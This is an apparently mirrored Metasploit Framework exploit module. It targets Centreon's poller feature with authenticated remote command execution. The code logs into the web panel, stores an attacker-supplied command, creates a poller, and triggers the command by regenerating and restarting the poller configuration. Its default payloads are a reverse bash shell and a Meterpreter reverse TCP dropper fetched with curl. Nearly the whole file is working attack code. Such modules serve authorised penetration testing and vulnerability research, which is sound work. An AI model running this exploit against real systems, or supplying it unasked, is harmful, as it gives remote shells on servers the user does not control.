CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/centreon_pollers_auth_rce.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::CmdStager
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Centreon Poller Authenticated Remote Command Execution',
17
'Description' => %q{
18
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
19
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
20
(to perform certain actions), by the scheduler for data processing, etc.
21
22
This module uses this functionality to obtain a remote shell on the target.
23
},
24
'Author' => [
25
'Omri Baso', # discovery
26
'Fabien Aunay', # discovery
27
'mekhalleh (RAMELLA Sébastien)' # this module
28
],
29
'References' => [
30
['EDB', '47977']
31
],
32
'DisclosureDate' => '2020-01-27',
33
'License' => MSF_LICENSE,
34
'Platform' => ['linux', 'unix'],
35
'Arch' => [ARCH_CMD, ARCH_X64],
36
'Privileged' => true,
37
'Targets' => [
38
[
39
'Reverse shell (In-Memory)',
40
{
41
'Platform' => 'unix',
42
'Type' => :cmd_unix,
43
'Arch' => ARCH_CMD,
44
'DefaultOptions' => {
45
'PAYLOAD' => 'cmd/unix/reverse_bash'
46
}
47
}
48
],
49
[
50
'Meterpreter (Dropper)',
51
{
52
'Platform' => 'linux',
53
'Type' => :meterpreter,
54
'Arch' => ARCH_X64,
55
'DefaultOptions' => {
56
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
57
'CMDSTAGER::FLAVOR' => :curl
58
}
59
}
60
]
61
],
62
'DefaultTarget' => 0,
63
'Notes' => {
64
'Stability' => [CRASH_SAFE],
65
'Reliability' => [REPEATABLE_SESSION],
66
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
67
}
68
)
69
)
70
71
register_options([
72
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
73
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
74
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
75
])
76
end
77
78
def create_new_poller(poller_name, command_id)
79
params = { 'p' => '60901' }
80
81
print_status('Create new poller entry on the target.')
82
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
83
return false unless token
84
85
response = send_request_cgi(
86
'method' => 'POST',
87
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
88
'cookie' => @cookies,
89
'partial' => true,
90
'vars_get' => params,
91
'vars_post' => {
92
'name' => poller_name,
93
'ns_ip_address' => '127.0.0.1',
94
'localhost[localhost]' => '1',
95
'is_default[is_default]' => '0',
96
'remote_id' => '',
97
'ssh_port' => '22',
98
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
99
'engine_start_command' => 'service centengine start',
100
'engine_stop_command' => 'service centengine stop',
101
'engine_restart_command' => 'service centengine restart',
102
'engine_reload_command' => 'service centengine reload',
103
'nagios_bin' => '/usr/sbin/centengine',
104
'nagiostats_bin' => '/usr/sbin/centenginestats',
105
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
106
'broker_reload_command' => 'service cbd reload',
107
'centreonbroker_cfg_path' => '/etc/centreon-broker',
108
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
109
'centreonbroker_logs_path' => '/var/log/centreon-broker',
110
'centreonconnector_path' => '',
111
'init_script_centreontrapd' => 'centreontrapd',
112
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
113
'pollercmd[0]' => command_id,
114
'clone_order_pollercmd_0' => '',
115
'ns_activate[ns_activate]' => '1',
116
'submitA' => 'Save',
117
'id' => '',
118
'o' => 'a',
119
'centreon_token' => token
120
}
121
)
122
return false unless response
123
124
return true
125
end
126
127
def execute_command(command, _opts = {})
128
cmd_name = rand_text_alpha(8..42)
129
params = { 'p' => '60803', 'type' => '3' }
130
poller_name = rand_text_alpha(8..42)
131
132
## Register a miscellaneous command.
133
print_status('Upload command payload on the target.')
134
135
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
136
unless token
137
print_bad('Could not get the upload form token, potentially due to insufficient access rights.')
138
return false
139
end
140
141
response = send_request_cgi(
142
'method' => 'POST',
143
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
144
'cookie' => @cookies,
145
'partial' => true,
146
'vars_get' => params,
147
'vars_post' => {
148
'command_name' => cmd_name,
149
'command_type[command_type]' => '3',
150
'command_line' => command,
151
'resource' => '$CENTREONPLUGINS$',
152
'plugins' => '/Centreon/SNMP',
153
'macros' => '$ADMINEMAIL$',
154
'command_example' => '',
155
'listOfArg' => '',
156
'listOfMacros' => '',
157
'connectors' => '',
158
'graph_id' => '',
159
'command_activate[command_activate]' => '1',
160
'command_comment' => '',
161
'submitA' => 'Save',
162
'command_id' => '',
163
'type' => '3',
164
'o' => 'a',
165
'centreon_token' => token
166
}
167
)
168
return false unless response
169
170
## Create new poller to serve the payload.
171
create_new_poller(poller_name, get_command_id(cmd_name))
172
173
## Export configuration to reload to trigger the exploit.
174
poller_id = get_poller_id(poller_name)
175
if poller_id.nil?
176
print_bad('Could not trigger the vulnerability!')
177
end
178
restart_exportation(poller_id)
179
end
180
181
def get_auth
182
print_status('Sending authentication request.')
183
token = get_token(normalize_uri(target_uri.path, 'index.php'))
184
unless token.nil?
185
response = send_request_cgi(
186
'method' => 'POST',
187
'uri' => normalize_uri(target_uri.path, 'index.php'),
188
'cookie' => @cookies,
189
'vars_post' => {
190
'useralias' => datastore['USERNAME'],
191
'password' => datastore['PASSWORD'],
192
'submitLogin' => 'Connect',
193
'centreon_token' => token
194
}
195
)
196
return false unless response
197
198
if response.redirect? && response.headers['location'].include?('main.php')
199
print_good('Successfully authenticated.')
200
@cookies = response.get_cookies
201
return true
202
end
203
end
204
205
print_bad('Your credentials are incorrect.')
206
return false
207
end
208
209
def get_command_id(cmd_name)
210
response = send_request_cgi(
211
'method' => 'GET',
212
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
213
'cookie' => @cookies,
214
'vars_get' => {
215
'p' => '60803',
216
'type' => '3'
217
}
218
)
219
return nil unless response
220
221
href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
222
return nil unless href
223
224
id = href.split('?')[1].split('&')[2].split('=')[1]
225
return id unless id.empty?
226
227
return nil
228
end
229
230
def get_poller_id(poller_name)
231
response = send_request_cgi(
232
'method' => 'GET',
233
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
234
'cookie' => @cookies,
235
'vars_get' => { 'p' => '60901' }
236
)
237
return nil unless response
238
239
href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
240
return nil unless href
241
242
id = href.split('?')[1].split('&')[2].split('=')[1]
243
return id unless id.empty?
244
245
return nil
246
end
247
248
def get_session
249
response = send_request_cgi(
250
'method' => 'HEAD',
251
'uri' => normalize_uri(target_uri.path, 'index.php')
252
)
253
cookies = response.get_cookies
254
return cookies unless cookies.empty?
255
end
256
257
def get_token(uri, params = {})
258
## Get centreon_token value.
259
request = {
260
'method' => 'GET',
261
'uri' => uri,
262
'cookie' => @cookies
263
}
264
request = request.merge({ 'vars_get' => params }) unless params.empty?
265
response = send_request_cgi(request)
266
267
return nil unless response
268
269
begin
270
token = response.get_html_document.at('input[@name="centreon_token"]')['value']
271
rescue NoMethodError
272
return nil
273
end
274
275
return token
276
end
277
278
def restart_exportation(poller_id)
279
print_status('Reload the poller to trigger exploitation.')
280
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })
281
282
unless token
283
print_bad('Could not get the poller form token, potentially due to insufficient access rights.')
284
return false
285
end
286
287
vprint_status(' -- Generating files.')
288
response = send_request_cgi(
289
'method' => 'POST',
290
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
291
'cookie' => @cookies,
292
'vars_post' => {
293
'poller' => poller_id,
294
'debug' => 'true',
295
'generate' => 'true'
296
}
297
)
298
return false unless response
299
300
vprint_status(' -- Restarting engine.')
301
response = send_request_cgi(
302
'method' => 'POST',
303
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
304
'cookie' => @cookies,
305
'vars_post' => {
306
'poller' => poller_id,
307
'mode' => '2'
308
}
309
)
310
return false unless response
311
312
vprint_status(' -- Executing command.')
313
response = send_request_cgi(
314
'method' => 'POST',
315
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
316
'cookie' => @cookies,
317
'vars_post' => { 'poller' => poller_id }
318
)
319
return false unless response
320
321
return true
322
end
323
324
def exploit
325
@cookies = get_session
326
logged = get_auth unless @cookies.empty?
327
if logged
328
case target['Type']
329
when :cmd_unix
330
execute_command(payload.encoded)
331
when :meterpreter
332
execute_command(generate_cmdstager.join(';'))
333
end
334
end
335
end
336
337
end
338
339